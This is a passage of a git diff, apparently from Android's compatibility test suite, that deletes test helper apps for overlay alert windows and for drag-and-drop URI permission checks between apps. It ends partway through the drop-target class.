--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowapp;
-
-import android.os.Bundle;
-import android.server.alertwindowappsdk25.AlertWindowTestBaseActivity;
-
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
-
-public class AlertWindowTestActivity extends AlertWindowTestBaseActivity {
- private static final int[] ALERT_WINDOW_TYPES = {
- TYPE_PHONE,
- TYPE_PRIORITY_PHONE,
- TYPE_SYSTEM_ALERT,
- TYPE_SYSTEM_ERROR,
- TYPE_SYSTEM_OVERLAY,
- TYPE_APPLICATION_OVERLAY
- };
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- createAllAlertWindows(getPackageName());
- }
-
- @Override
- protected int[] getAlertWindowTypes() {
- return ALERT_WINDOW_TYPES;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
deleted file mode 100755
index efc80ea..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.alertwindowappsdk25">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application android:label="CtsAlertWindowSdk25">
- <activity android:name=".AlertWindowTestActivitySdk25"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
deleted file mode 100644
index 046879f..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowappsdk25;
-
-import android.os.Bundle;
-
-import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
-
-public class AlertWindowTestActivitySdk25 extends AlertWindowTestBaseActivity {
- private static final int[] ALERT_WINDOW_TYPES = {
- TYPE_PHONE,
- TYPE_PRIORITY_PHONE,
- TYPE_SYSTEM_ALERT,
- TYPE_SYSTEM_ERROR,
- TYPE_SYSTEM_OVERLAY
- };
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- createAllAlertWindows(getPackageName());
- }
-
- @Override
- protected int[] getAlertWindowTypes() {
- return ALERT_WINDOW_TYPES;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
deleted file mode 100644
index 2d0dad0..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowappsdk25;
-
-import android.app.Activity;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.util.Log;
-import android.view.WindowManager;
-import android.widget.TextView;
-
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
-public abstract class AlertWindowTestBaseActivity extends Activity {
-
- protected void createAllAlertWindows(String windowName) {
- final int[] alertWindowTypes = getAlertWindowTypes();
- for (int type : alertWindowTypes) {
- try {
- createAlertWindow(type, windowName);
- } catch (Exception e) {
- Log.e("AlertWindowTestBaseActivity", "Can't create type=" + type, e);
- }
- }
- }
-
- protected void createAlertWindow(int type) {
- createAlertWindow(type, getPackageName());
- }
-
- protected void createAlertWindow(int type, String windowName) {
- if (!isSystemAlertWindowType(type)) {
- throw new IllegalArgumentException("Well...you are not an alert window type=" + type);
- }
-
- final Point size = new Point();
- final WindowManager wm = getSystemService(WindowManager.class);
- wm.getDefaultDisplay().getSize(size);
-
- WindowManager.LayoutParams params = new WindowManager.LayoutParams(
- type, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
- params.width = size.x / 3;
- params.height = size.y / 3;
- params.gravity = TOP | LEFT;
- params.setTitle(windowName);
-
- final TextView view = new TextView(this);
- view.setText(windowName + " type=" + type);
- view.setBackgroundColor(Color.RED);
- wm.addView(view, params);
- }
-
- private boolean isSystemAlertWindowType(int type) {
- final int[] alertWindowTypes = getAlertWindowTypes();
- for (int current : alertWindowTypes) {
- if (current == type) {
- return true;
- }
- }
- return false;
- }
-
- protected abstract int[] getAlertWindowTypes();
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
deleted file mode 100644
index 12a04ed..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
deleted file mode 100644
index 296a979..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndsourceapp">
- <application android:label="CtsDnDSource">
- <activity android:name="android.wm.cts.dndsourceapp.DragSource">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
-
- <provider android:name="android.wm.cts.dndsourceapp.DragSourceContentProvider"
- android:authorities="android.wm.cts.dndsource.contentprovider"
- android:grantUriPermissions="true"/>
- </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
deleted file mode 100644
index 7cb7b8b..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ClipDescription;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.FileUriExposedException;
-import android.os.PersistableBundle;
-import android.util.Log;
-import android.view.MotionEvent;
-import android.view.View;
-import android.widget.TextView;
-
-import java.io.File;
-
-public class DragSource extends Activity{
- private static final String LOG_TAG = "DragSource";
-
- private static final String RESULT_KEY_START_DRAG = "START_DRAG";
- private static final String RESULT_KEY_DETAILS = "DETAILS";
- private static final String RESULT_OK = "OK";
- private static final String RESULT_EXCEPTION = "Exception";
-
- private static final String URI_PREFIX =
- "content://" + DragSourceContentProvider.AUTHORITY + "/data";
-
- private static final String MAGIC_VALUE = "42";
- private static final long TIMEOUT_CANCEL = 150;
-
- private TextView mTextView;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- View view = getLayoutInflater().inflate(R.layout.source_activity, null);
- setContentView(view);
-
- final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
-
- setUpDragSource("disallow_global", plainUri, 0);
- setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
-
- setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
- setUpDragSource("grant_read", plainUri,
- View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
- setUpDragSource("grant_write", plainUri,
- View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
- setUpDragSource("grant_read_persistable", plainUri,
- View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
- View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
-
- final Uri prefixUri = Uri.parse(URI_PREFIX);
-
- setUpDragSource("grant_read_prefix", prefixUri,
- View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
- View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
- setUpDragSource("grant_read_noprefix", prefixUri,
- View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
-
- final Uri fileUri = Uri.fromFile(new File("/sdcard/sample.jpg"));
-
- setUpDragSource("file_local", fileUri, 0);
- setUpDragSource("file_global", fileUri, View.DRAG_FLAG_GLOBAL);
- }
-
- private void setUpDragSource(String mode, final Uri uri, final int flags) {
- if (!mode.equals(getIntent().getStringExtra("mode"))) {
- return;
- }
- mTextView = (TextView) findViewById(R.id.drag_source);
- mTextView.setText(mode);
- mTextView.setOnTouchListener(new View.OnTouchListener() {
- @Override
- public boolean onTouch(View v, MotionEvent event) {
- if (event.getAction() != MotionEvent.ACTION_DOWN) {
- return false;
- }
- try {
- final ClipDescription clipDescription = new ClipDescription("", new String[] {
- ClipDescription.MIMETYPE_TEXT_URILIST });
- PersistableBundle extras = new PersistableBundle(1);
- extras.putString("extraKey", "extraValue");
- clipDescription.setExtras(extras);
- final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
- v.startDragAndDrop(
- clipData,
- new View.DragShadowBuilder(v),
- null,
- flags);
- logResult(RESULT_KEY_START_DRAG, RESULT_OK);
- } catch (FileUriExposedException e) {
- logResult(RESULT_KEY_DETAILS, e.getMessage());
- logResult(RESULT_KEY_START_DRAG, RESULT_EXCEPTION);
- }
- if (mode.equals("cancel_soon")) {
- new Handler().postDelayed(new Runnable() {
- @Override
- public void run() {
- v.cancelDragAndDrop();
- }
- }, TIMEOUT_CANCEL);
- }
- return true;
- }
- });
- }
-
- private void logResult(String key, String value) {
- Log.i(LOG_TAG, key + "=" + value);
- mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
deleted file mode 100644
index 06a94aa..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.content.UriMatcher;
-import android.database.Cursor;
-import android.net.Uri;
-
-public class DragSourceContentProvider extends ContentProvider {
-
- public static final String AUTHORITY = "android.wm.cts.dndsource.contentprovider";
-
- private static final UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
-
- private static final int URI_DATA = 1;
-
- static {
- sMatcher.addURI(AUTHORITY, "data/#", URI_DATA);
- }
-
- @Override
- public boolean onCreate() {
- return false;
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- switch (sMatcher.match(uri)) {
- case URI_DATA:
- return new DragSourceCursor(uri.getLastPathSegment());
- }
- return null;
- }
-
- @Override
- public String getType(Uri uri) {
- return null;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- return null;
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- return 0;
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- return 0;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
deleted file mode 100644
index c54df65..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.database.AbstractCursor;
-
-public class DragSourceCursor extends AbstractCursor {
- private static final String COLUMN_KEY = "key";
-
- private final String mValue;
-
- public DragSourceCursor(String value) {
- mValue = value;
- }
-
- @Override
- public int getCount() {
- return 1;
- }
-
- @Override
- public String[] getColumnNames() {
- return new String[] {COLUMN_KEY};
- }
-
- @Override
- public String getString(int column) {
- if (getPosition() != 0) {
- throw new IllegalArgumentException("Incorrect position: " + getPosition());
- }
- if (column != 0) {
- throw new IllegalArgumentException("Incorrect column: " + column);
- }
- return mValue;
- }
-
- @Override
- public short getShort(int column) {
- return 0;
- }
-
- @Override
- public int getInt(int column) {
- return 0;
- }
-
- @Override
- public long getLong(int column) {
- return 0;
- }
-
- @Override
- public float getFloat(int column) {
- return 0;
- }
-
- @Override
- public double getDouble(int column) {
- return 0;
- }
-
- @Override
- public boolean isNull(int column) {
- return false;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
deleted file mode 100644
index cb43a8b..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
deleted file mode 100644
index ed7b9c2..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetapp">
- <application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetapp.DropTarget">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
deleted file mode 100644
index 8892c6f..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndtargetapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ClipDescription;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import android.util.Log;
-import android.view.DragAndDropPermissions;
-import android.view.DragEvent;
-import android.view.View;
-import android.widget.TextView;
-
-public class DropTarget extends Activity {
- public static final String LOG_TAG = "DropTarget";
-
- private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
- private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
- private static final String RESULT_KEY_EXTRAS = "EXTRAS";
- private static final String RESULT_KEY_DROP_RESULT = "DROP";
- private static final String RESULT_KEY_DETAILS = "DETAILS";
- private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
- private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
- private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
- private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
- private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
-
- public static final String RESULT_OK = "OK";
- public static final String RESULT_EXCEPTION = "Exception";
- public static final String RESULT_MISSING = "MISSING";
- public static final String RESULT_LEAKING = "LEAKING";
-
- protected static final String MAGIC_VALUE = "42";
-
- private TextView mTextView;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- View view = getLayoutInflater().inflate(R.layout.target_activity, null);
- setContentView(view);
-
- setUpDropTarget("request_none", new OnDragUriReadListener(false));
- setUpDropTarget("request_read", new OnDragUriReadListener());
- setUpDropTarget("request_write", new OnDragUriWriteListener());
- setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
- setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
- }
-
- private void setUpDropTarget(String mode, OnDragUriListener listener) {
- if (!mode.equals(getIntent().getStringExtra("mode"))) {
- return;
- }
- mTextView = (TextView)findViewById(R.id.drag_target);
- mTextView.setText(mode);
- mTextView.setOnDragListener(listener);
- }
-
- private String checkExtraValue(DragEvent event) {
- PersistableBundle extras = event.getClipDescription().getExtras();
- if (extras == null) {
- return "Null";
- }
-
- final String value = extras.getString("extraKey");
- if ("extraValue".equals(value)) {
- return RESULT_OK;
- }
- return value;
- }
-
- private void logResult(String key, String value) {
- Log.i(LOG_TAG, key + "=" + value);
- mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
- }
-
- private abstract class OnDragUriListener implements View.OnDragListener {
- private final boolean requestPermissions;
-
- public OnDragUriListener(boolean requestPermissions) {
- this.requestPermissions = requestPermissions;
- }
-
- @Override
- public boolean onDrag(View v, DragEvent event) {
- checkDragEvent(event);
-
- switch (event.getAction()) {
- case DragEvent.ACTION_DRAG_STARTED:
- logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
- logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
- return true;
-
- case DragEvent.ACTION_DRAG_ENTERED:
- return true;
-
- case DragEvent.ACTION_DRAG_LOCATION:
- return true;
-
- case DragEvent.ACTION_DRAG_EXITED:
- return true;
-
- case DragEvent.ACTION_DROP:
- // Try accessing the Uri without the permissions grant.
- accessContent(event, RESULT_KEY_ACCESS_BEFORE, false);
-
- // Try accessing the Uri with the permission grant (if required);
- accessContent(event, RESULT_KEY_DROP_RESULT, requestPermissions);
-
- // Try accessing the Uri after the permissions have been released.
- accessContent(event, RESULT_KEY_ACCESS_AFTER, false);
- return true;
-
- case DragEvent.ACTION_DRAG_ENDED:
- logResult(RESULT_KEY_DRAG_ENDED, RESULT_OK);
- return true;
-
- default:
- return false;
- }
- }
-
- private void accessContent(DragEvent event, String resultKey, boolean requestPermissions) {
- String result;
- try {
- result = processDrop(event, requestPermissions);
- } catch (SecurityException e) {
- result = RESULT_EXCEPTION;
- if (resultKey.equals(RESULT_KEY_DROP_RESULT)) {
- logResult(RESULT_KEY_DETAILS, e.getMessage());
- }
- }
- logResult(resultKey, result);
- }
-
- private String processDrop(DragEvent event, boolean requestPermissions) {
- final ClipData clipData = event.getClipData();
- if (clipData == null) {
- return "Null ClipData";
- }
- if (clipData.getItemCount() == 0) {
- return "Empty ClipData";
- }
- ClipData.Item item = clipData.getItemAt(0);
- if (item == null) {
- return "Null ClipData.Item";
- }
- Uri uri = item.getUri();
- if (uri == null) {
- return "Null Uri";
- }
-
- DragAndDropPermissions permissions = null;
- if (requestPermissions) {
- permissions = requestDragAndDropPermissions(event);
- if (permissions == null) {
- return "Null DragAndDropPermissions";
- }
- }
-
- try {
- return processUri(uri);
- } finally {
- if (permissions != null) {
- permissions.release();
- }
- }
- }
-
- abstract protected String processUri(Uri uri);
- }
-
- private void checkDragEvent(DragEvent event) {
- final int action = event.getAction();
-
- // ClipData should be available for ACTION_DROP only.
- final ClipData clipData = event.getClipData();
- if (action == DragEvent.ACTION_DROP) {
- if (clipData == null) {
- logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
- }
- } else {
- if (clipData != null) {
- logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_LEAKING + action);
- }
- }
-
- // ClipDescription should be always available except for ACTION_DRAG_ENDED.
- final ClipDescription clipDescription = event.getClipDescription();
- if (action != DragEvent.ACTION_DRAG_ENDED) {
- if (clipDescription == null) {
- logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING + action);
- }
- } else {
- if (clipDescription != null) {
- logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_LEAKING);
- }
- }
-
- // Local state should be always null for cross-app drags.
- final Object localState = event.getLocalState();
- if (localState != null) {
- logResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_LEAKING + action);
- }
- }
-
- private class OnDragUriReadListener extends OnDragUriListener {
- OnDragUriReadListener(boolean requestPermissions) {
- super(requestPermissions);
- }
-
- OnDragUriReadListener() {
- super(true);
- }
-
- protected String processUri(Uri uri) {
- return checkQueryResult(uri, MAGIC_VALUE);
- }
-
- protected String checkQueryResult(Uri uri, String expectedValue) {
- Cursor cursor = null;
- try {
- cursor = getContentResolver().query(uri, null, null, null, null);
- if (cursor == null) {
- return "Null Cursor";
- }
- cursor.moveToPosition(0);
- String value = cursor.getString(0);
- if (!expectedValue.equals(value)) {
- return "Wrong value: " + value;
- }
- return RESULT_OK;
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
- }
- }
-
- private class OnDragUriWriteListener extends OnDragUriListener {
- OnDragUriWriteListener() {
- super(true);
- }
-
- protected String processUri(Uri uri) {
- ContentValues values = new ContentValues();
- values.put("key", 100);
- getContentResolver().update(uri, values, null, null);
- return RESULT_OK;
- }
- }
-
- private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
